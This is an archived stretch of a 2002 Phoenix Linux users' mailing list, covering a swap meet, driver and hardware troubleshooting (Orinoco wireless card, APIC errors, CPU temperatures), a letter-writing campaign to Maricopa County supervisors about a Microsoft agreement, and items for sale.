Sun, 16 Jun 2002 09:45:59 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> Message-ID: <3D0CC0C7.926AC821@pop.phnx.uswest.net> Yup - as of 30 minutes ago it was still going on :-) "John (EBo) David" wrote: > > I've been out of things... > > is there a swap meet today/this morning? > > I looked on the PLUG web page and saw nothing about it... > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 16:51:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 09:51:54 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> Message-ID: <3D0CC22A.DBD77D3@leml.asu.edu> foodog wrote: > > Yup - as of 30 minutes ago it was still going on :-) ummmm... what are the directions? EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 17:13:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sun, 16 Jun 2002 10:13:16 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> <3D0CC22A.DBD77D3@leml.asu.edu> Message-ID: <3D0CC72C.3863C885@pop.phnx.uswest.net> McDowell & Granite Reef Rd. see: http://www.azweb.com/troop446/scoutmap.html "John (EBo) David" wrote: > > foodog wrote: > > > > Yup - as of 30 minutes ago it was still going on :-) > > ummmm... what are the directions? > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 17:34:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 16 Jun 2002 10:34:48 -0700 Subject: swapmeet References: <3D0CB6B6.F4D059E3@leml.asu.edu> <3D0CC0C7.926AC821@pop.phnx.uswest.net> <3D0CC22A.DBD77D3@leml.asu.edu> <3D0CC72C.3863C885@pop.phnx.uswest.net> Message-ID: <3D0CCC38.A5F98788@leml.asu.edu> foodog wrote: > > McDowell & Granite Reef Rd. see: > http://www.azweb.com/troop446/scoutmap.html cool thanks... I think I can *finally* break away... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 18:20:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 16 Jun 2002 11:20:23 -0700 Subject: Has anyone any experience with "Guard Dog" Firewall In-Reply-To: <3D0CB324.3030700@qwest.net> References: <3D0CB324.3030700@qwest.net> Message-ID: <200206161120.23007.dennisk@sahuaro.f2s.com> On Sunday 16 June 2002 08:47 am, John Steele wrote: > I'm just learning the LINUX OS and I was wondering if anyone has used > the firewall "Guard Dog" on a workstation that is hooked to the internet > through an Ethernet router? I just want to learn a little about > firewalls. I also have the Mandrake Client firewall software, but I'm > not sure if it's beyond my understanding just now. > John Steele Go download Smoothwall at www.smoothwall.org . A solid product! Download the documentation as well,. They have a very good basic TCP/IP Networking Guide. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 19:34:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sun, 16 Jun 2002 12:34:22 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: <20020614211333.GA153@crystaldragon> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> Message-ID: <200206161234.26693.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am 14 Freitag Juni 2002 14:13 schrieb Thomas Mondoshawan Tate: > If Fry's won't "join up", give a shot at PC Computer Club on Southern and > Alma School (near Fiesta Mall and the B of A building). They're a small > enough company that exposure like what we could provide would be the > perfect ad campaign. I'd go and ask myself, but my time is rather limited > right now. There's another PC Club on Chandler and 48th street. South east side of the intersection. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9DOhBQ7yNnsYcupwRAt8AAKCWXT5OzcM0cXTnxcsRMgpfjGmvbgCgpkQW 9+uTXVjaJuJkje4o/tB4SGo= =eTiV -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 21:49:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Peter Buechler) Date: Sun, 16 Jun 2002 14:49:55 -0700 Subject: vncserver In-Reply-To: <20020615005640.93691.qmail@web11501.mail.yahoo.com> References: <20020615005640.93691.qmail@web11501.mail.yahoo.com> Message-ID: <200206161449.55851.peter.buechler@cox.net> Take another look at your ~/.vnc/xstartup file. That is the correct one. Make sure that you have the right path, etc. etc. On Friday 14 June 2002 17:56, Mark Astrauskas wrote: > This is just a quick question: How do I tell vncserver > which window manager to use? I've tried editing the > following files with no luck: > /etc/vnc.conf > ~/.vnc/xstartup > ~/.vncrc > > I have done it before, but now that I need to do it > again, I cannot figure it out. Anyone know where I > need to tell it? > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 01:10:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sun, 16 Jun 2002 18:10:55 -0700 Subject: Help Maricopa County Do the Right Thing In-Reply-To: References: <0206150802011X.08309@nova.wedge.org> Message-ID: <5.1.0.14.0.20020616180616.00a3fa80@localhost> I feel that each person that does write something, even if it's just to say " I am concerned, please hear me out ", can help make a difference. I wrote a rather direct email to all Supervisors. Although, polite in nature, I did ask if there would be a public hearing or a possible meeting whereby a dedicated group of people could attend to discuss the alternatives to vendors who break the law (Microsoft broke them all and then remade them all). I expect that we just may get an answer to our request if enough people ask to be heard. Expect the unexpected and you will never be unsure or afraid of the future. Kimi At 6/15/02, you wrote: >I wrote emails to everyone listed below. I encourage all of you to do the >same. This is an important moment for us to positively affect computing >in Maricopa County. Please write them and let them know you are >concerned. Be polite and stress that there are excellent alternatives >available. Go team, go! :-) >~M > > >On Sat, 15 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I have heard from a "reliable source" that the Maricopa County Council has > > decided not to automatically sign off on having the county sign an > Enterprise > > Agreement with Microsoft. The source said that people within the county IT > > organizations made their opinion known that the Enterprise Agreement might > > not be the best path for the county to blindly follow. > > > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > > contact your Maricopa County district council person and your city council > > people with some simple questions. > > > > a. Ask them if they plan to approve funding for the Enterprise > Agreement with > > the Microsoft Corporation? > > > > b. If they do plan to do so, ask them to provide you with a copy of the > > agreement and the dollar amount to be expended. > > > > c. Ask them when they will be hearing from the public on the budget, so if > > they are adopting an Enterprise Agreement with Microsoft, you can have your > > voice heard publicly. > > > > d. Ask they why do they do business with a vendor that has been > convicted of > > felony wrongdoings. > > . > > e. Ask them if they have they considered alternatives to Microsoft > products. > > > > I dont have city contact information but county contact information is as > > follows: > > > > Map To Find Your Council Person > > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > > > Council Contact Email > > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > > Dist 2 Don Stapley DStapley@mail.maricopa.gov > > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > > > Also I would cc: the County Administrator and Deputy County > > Administrator > > > > CAO: David Smith DSmith@mail.maricopa.gov > > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > - -- > > Jim > > > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > > cWg2GbQ9y1u85/ycX+Ko2+ss > > =GiK8 > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 01:23:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sun, 16 Jun 2002 18:23:36 -0700 Subject: items for sale Message-ID: <5.1.0.14.0.20020616181121.00acd7f0@localhost> Although I have updated my ad on www.forsale.unitywave.com, it doesn't allow for the amount of items that I have to list. So here is the list: http://www.unitywave.com/~office/index.html it's in a decent printable form as well for those that want to print it. Call me with offers. Can someone please come get the whole lot? Pricing is pretty rock bottom, but I will take $225 for the whole lot. We do not deliver. I need the space in the next month, so if we cannot sell it here, it might be at the next swap meet or a garage sale in September. Kimi Adams Unity Wave 602-375-5363 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 02:50:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sun, 16 Jun 2002 19:50:04 -0700 Subject: Help Maricopa County Do the Right Thing In-Reply-To: <5.1.0.14.0.20020616180616.00a3fa80@localhost> References: <0206150802011X.08309@nova.wedge.org> <5.1.0.14.0.20020616180616.00a3fa80@localhost> Message-ID: <20020617025003.IIJC25007.fed1mtao01.cox.net@there> got an e-mail for the county board? Technomage On Sunday 16 June 2002 06:10 pm, you wrote: > I feel that each person that does write something, even if it's just to say > " I am concerned, please hear me out ", can help make a difference. > > I wrote a rather direct email to all Supervisors. Although, polite in > nature, I did ask if there would be a public hearing or a possible meeting > whereby a dedicated group of people could attend to discuss the > alternatives to vendors who break the law (Microsoft broke them all and > then remade them all). > > I expect that we just may get an answer to our request if enough people ask > to be heard. Expect the unexpected and you will never be unsure or afraid > of the future. > > Kimi > > At 6/15/02, you wrote: > >I wrote emails to everyone listed below. I encourage all of you to do the > >same. This is an important moment for us to positively affect computing > >in Maricopa County. Please write them and let them know you are > >concerned. Be polite and stress that there are excellent alternatives > >available. Go team, go! :-) > >~M > > > >On Sat, 15 Jun 2002, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > I have heard from a "reliable source" that the Maricopa County Council > > > has decided not to automatically sign off on having the county sign an > > > > Enterprise > > > > > Agreement with Microsoft. The source said that people within the > > > county IT organizations made their opinion known that the Enterprise > > > Agreement might not be the best path for the county to blindly follow. > > > > > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > > > contact your Maricopa County district council person and your city > > > council people with some simple questions. > > > > > > a. Ask them if they plan to approve funding for the Enterprise > > > > Agreement with > > > > > the Microsoft Corporation? > > > > > > b. If they do plan to do so, ask them to provide you with a copy of the > > > agreement and the dollar amount to be expended. > > > > > > c. Ask them when they will be hearing from the public on the budget, so > > > if they are adopting an Enterprise Agreement with Microsoft, you can > > > have your voice heard publicly. > > > > > > d. Ask they why do they do business with a vendor that has been > > > > convicted of > > > > > felony wrongdoings. > > > . > > > e. Ask them if they have they considered alternatives to Microsoft > > > > products. > > > > > I dont have city contact information but county contact information is > > > as follows: > > > > > > Map To Find Your Council Person > > > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > > > > > Council Contact Email > > > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > > > Dist 2 Don Stapley DStapley@mail.maricopa.gov > > > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > > > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > > > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > > > > > Also I would cc: the County Administrator and Deputy County > > > Administrator > > > > > > CAO: David Smith DSmith@mail.maricopa.gov > > > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > > > cWg2GbQ9y1u85/ycX+Ko2+ss > > > =GiK8 > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 02:03:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 16 Jun 2002 19:03:58 -0700 (MST) Subject: Problem with installing orinoco wireless card on linux. Message-ID: Hi, I am trying to get the Lucent/agere orinoco 802.11 gold 11mbps card working on my Linux box. I need to be able to get that fixed so that i can get to use Airsnort with WepCrack. I am currently using Redhat 7.2 with a custom 2.4.18 kernel build, the system is a desktop with a PCI bridge. I have disabled the kernel pcmcia and am instead using the pcmcia 3.1.33 package. I believe i have a problem with the orinoco card drivers or its configuration. It gives the error "Card Services release does not match!" I believe the driver compilation went fine as it gives 2 beeps one long and then a short one. Could somebody who has already done this or knows how to fix this help me out. Also please provide me with info on the configuration files to get this card working. Thanks in advance. -Sumanth. Attached below is some debug information. "pwd"-----------------> /installs/wireless/pcmcia-cs-3.1.33/debug-tools "./test_setup" ------> Current kernel: 2.4.18 #6 SMP Sat Jun 15 11:21:07 MST 2002 Module info from /lib/modules/2.4.18/pcmcia/pcmcia_core.o: "Linux PCMCIA Card Services 3.1.33 options: [pci] [cardbus] [apm] [pnp]" Startup options from /etc/sysconfig/pcmcia: PCMCIA=yes PCIC=i82365 PCIC_OPTS= CORE_OPTS= CARDMGR_OPTS= Checking current syslog files in /var/log: All PCMCIA messages are in /var/log/messages. Module status: No PCMCIA modules are loaded. Daemon status: cardmgr is running (process 2431) Current socket status from /var/lib/pcmcia/stab: Socket 0: empty Socket 1: Lucent Technologies WaveLAN/IEEE Adapter /installs/wireless/pcmcia-cs-3.1.33/cardmgr PCI bridge probe: Ricoh RL5C476 found, 2 sockets. info from /var/log/messages-------------> Jun 15 13:32:00 tech212work cardmgr[3208]: starting, version is 3.1.33 Jun 15 13:32:00 tech212work cardmgr[3208]: socket 1: Lucent Technologies WaveLAN/IEEE Adapter Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe hermes' Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe orinoco' Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'modprobe orinoco_cs' Jun 15 13:32:00 tech212work kernel: orinoco_cs: Card Services release does not match! Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: init_module: Invalid argument Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: insmod /lib/modules/2.4.18/pcmcia/orinoco_cs.o failed Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: insmod orinoco_cs failed Jun 15 13:32:00 tech212work cardmgr[3208]: + Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters Jun 15 13:32:00 tech212work cardmgr[3208]: modprobe exited with status 255 Jun 15 13:32:00 tech212work cardmgr[3208]: executing: 'insmod /lib/modules/2.4.18/pcmcia/orinoco_cs.o' Jun 15 13:32:00 tech212work kernel: orinoco_cs: Card Services release does not match! Jun 15 13:32:00 tech212work cardmgr[3208]: + /lib/modules/2.4.18/pcmcia/orinoco_cs.o: init_module: Invalid argument Jun 15 13:32:00 tech212work cardmgr[3208]: + Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters Jun 15 13:32:00 tech212work cardmgr[3208]: insmod exited with status 1 Jun 15 13:32:01 tech212work cardmgr[3208]: get dev info on socket 1 failed: Resource temporarily unavailable Jun 15 13:32:01 tech212work cardmgr[3208]: wrong module 'orinoco_cs' for device 'orinoco_cs'? Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r orinoco_cs' Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r orinoco' Jun 15 13:35:04 tech212work cardmgr[3208]: executing: 'modprobe -r hermes' Sumanth Varma ECET,CTAS, ASU East. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 04:44:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Sun, 16 Jun 2002 21:44:44 -0700 (PDT) Subject: SMP problem Message-ID: <20020617044444.66586.qmail@web11508.mail.yahoo.com> I have a system running a Tyan Tiger 133 with 2 P3/700's. It ran fine until yesterday. I swapped the power supply for a 300w, and now after its done booting and loading it simply continously scrolls: "APIC error on CPU1: 08(08)" What exactly is causing this? I do not have a spare PSU for it at the moment to swap out again. Is it possibly the power supply is bad, or what? Anything else it might be. -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 05:26:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sun, 16 Jun 2002 22:26:42 -0700 Subject: SMP problem References: <20020617044444.66586.qmail@web11508.mail.yahoo.com> Message-ID: <3D0D7312.1ECCB694@qwest.net> What was the power rating of the old PS that got replaced? Mark Astrauskas wrote: > > I have a system running a Tyan Tiger 133 with 2 > P3/700's. It ran fine until yesterday. I swapped the > power supply for a 300w, and now after its done > booting and loading it simply continously scrolls: > "APIC error on CPU1: 08(08)" What exactly is causing > this? I do not have a spare PSU for it at the moment > to swap out again. Is it possibly the power supply is > bad, or what? Anything else it might be. > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 11:26:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 07:26:44 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: <3D0DC774.EEC22736@georgetoft.com> Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 16:45:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Mon, 17 Jun 2002 12:45:10 -0400 Subject: Need Help with Redhat 7.3 Install Message-ID: <20020617164510.JUSY3097.lakemtao02.cox.net@smtp.east.cox.net> I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! Thanks! Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 16:52:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Mon, 17 Jun 2002 09:52:42 -0700 (PDT) Subject: SMP problem In-Reply-To: <3D0D7312.1ECCB694@qwest.net> Message-ID: <20020617165242.4460.qmail@web11507.mail.yahoo.com> > What was the power rating of the old PS that got > replaced? Both the new and old ones were 300w. I just swapped them because I needed the physically smaller one that was originally in the system for a specific job. -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:04:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Mon, 17 Jun 2002 13:04:51 -0400 Subject: CPU Temperature Monitoring & Limits Message-ID: Man I hate to get started on this subject. I built a AthlonXP with the problem below: "amd 2100+ asus a7v333 pc-3000 512mb cl 2.0 @2,2,2,5T gforce 3 PNY (not a TI card) 4 ata/133 Maxtor 40g drives two are Raid level 0 volcano 7+ Heat sink fan 6500rpm/copper heat sink 4 intake fans three exit fans including power supply 350watt power supply. latest bios 1007 artic silver goop Processor runs at 1755mhz due to a factory overclock of 5mhz by Asus. At any rate the box is fast, very fast, but my question is its running hot, and no mater what I have tried it still runs hot. Idle about 57°c and 63°c full load. The threshold for the Amd xp 2100+ is 90°c. so this is what I have done. I have tried two different Asus a7v333 mobo, same temp readings, two different 2100+ processors, two different 350watt power supplies, i have tried the oem heat sink & fan that came with it and my volcano 7+ runs faster and cooler, still hot. tested my friends 1800+ and he ran in the 40s with my setup. My room Temp is about 80-82°F. I replaced all the fans in the chase with 2600rpm 80x80xwhatever fans, that supplies a little more airflow along with the power supply that has the extra fan in it. All my cables are tied off and out of the way for maximum air flow. But the damn thing runs hot. I'm reasonably sure that I'm not overclocking anything. vcore 1.75 cpu/pcibus 133/33 cpu/mem raio 4:5" After I did some research, Asus stands behind thier boards and said any temp below 70°c is fine. I'm still not to happy about my temp being in the 60s. But I have been running this computer for over a 4week and I have not had it crash yet, even after 8hours of compiling. http://unixmafia.port5.com/news/00211001.html <--- this guy had the same problem just with an older board, and I have that board at it to runs at 60°c all the time. Does anyone else run any asus mobo? jon Original Message: ----------------- From: George Toft george@georgetoft.com Date: Mon, 17 Jun 2002 07:26:44 -0400 To: plug-discuss@lists.plug.phoenix.az.us Subject: CPU Temperature Monitoring & Limits Where can I find recommended CPU temperature limits for an AMD Duron? I have the AMD Duron Processor 3 Technical Specification Sheets, and all it says is "Maximum die temperature 90C." Recognizing there is a thermal gradient between the CPU and the temperature sensor, does anyone have any ideas what the maximum temperature I should experience for a healthy PC? I have not found any concrete numbers on the 'Net. I configured "sensors" yesterday, and wrote a script to log system load and CPU temp over time, which results in this output: 06-17-2002 06:47:00 0.09 95.5°F TX: 271kbps RX: 150kbps 06-17-2002 06:48:00 0.19 96.1°F TX: 270kbps RX: 194kbps 06-17-2002 06:49:00 0.13 96.1°F TX: 271kbps RX: 185kbps 06-17-2002 06:50:01 0.21 96.1°F TX: 264kbps RX: 201kbps 06-17-2002 06:51:00 0.24 96.4°F TX: 201kbps RX: 240kbps 06-17-2002 06:52:00 0.37 97.2°F TX: 270kbps RX: 193kbps 06-17-2002 06:53:01 1.17 103.5°F TX: 272kbps RX: 176kbps 06-17-2002 06:54:00 0.76 105.3°F TX: 269kbps RX: 204kbps 06-17-2002 06:55:01 0.66 107.2°F TX: 259kbps RX: 209kbps 06-17-2002 06:56:01 0.84 110.1°F TX: 272kbps RX: 200kbps 06-17-2002 06:57:01 1.85 111.4°F TX: 270kbps RX: 177kbps 06-17-2002 06:58:01 1.62 112.3°F TX: 269kbps RX: 183kbps 06-17-2002 06:59:01 1.01 113.4°F TX: 220kbps RX: 218kbps 06-17-2002 07:00:02 0.81 113.7°F TX: 222kbps RX: 212kbps (As you can see, I also incorporated tracking network traffic from a previous thread as well. This script is located on my web site.) I then ran the machine ragged playing an AVI movie in full-screen mode for over 1.5 hours. The CPU temperature reached 127F and held steady. I set my alarm at 129F and reset (hysteresis) at 127F. Do these sound like reasonable values? Obviously, cooler is better, but I don't have $200 for a liquid cooling system. Thanks in advance. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:37:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 17 Jun 2002 10:37:54 -0700 Subject: PLUG Quick References Message-ID: <02061710375424.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I thought that Bill's Vi quick reference is really good so I decided to change the Resources category on the PlugPresents web site to a Quick Reference category. I have asked Bill if I can link to his cool Vi reference page. Anyone else have a quick reference that they want to put up there? With a little work, PlugPresents can become the premiere reference site for Linux users in Phoenix, Arizona, the southwest, heck, maybe the world. I have even asked Vic to put a link to PlugPresents on the PLUG website so that more people can find it. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ4ecisk3ywszI1FEQL5kgCgweBSoA1LBzRfUUzF4VP1UDCwtIAAnRGt Lx9+xs+2QBvXmupKVJDYvJCq =9SyJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:46:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 10:46:53 -0700 (PDT) Subject: PLUG on Slashdot Message-ID: I just noticed on Slashdot this morning that we're featured in regards to the Maricopa County thread: http://slashdot.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:47:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 17 Jun 2002 10:47:39 -0700 Subject: PLUG is famous! Message-ID: <1024336060.29230.2.camel@shiva.soulmachine.com> Well... sort of: http://slashdot.org/articles/02/06/17/1651231.shtml?tid=103 Geek famous anyway.. hehe -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 17:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Mon, 17 Jun 2002 10:58:09 -0700 Subject: items for sale In-Reply-To: <5.1.0.14.0.20020616181121.00acd7f0@localhost> References: <5.1.0.14.0.20020616181121.00acd7f0@localhost> Message-ID: <20020617175809.GA27125@aries.evilmascot.com> Eh, how much were you thinking for the 1600? I've got $50. -Kyle On Sun, Jun 16, 2002 at 06:23:36PM -0700, Kimi A. 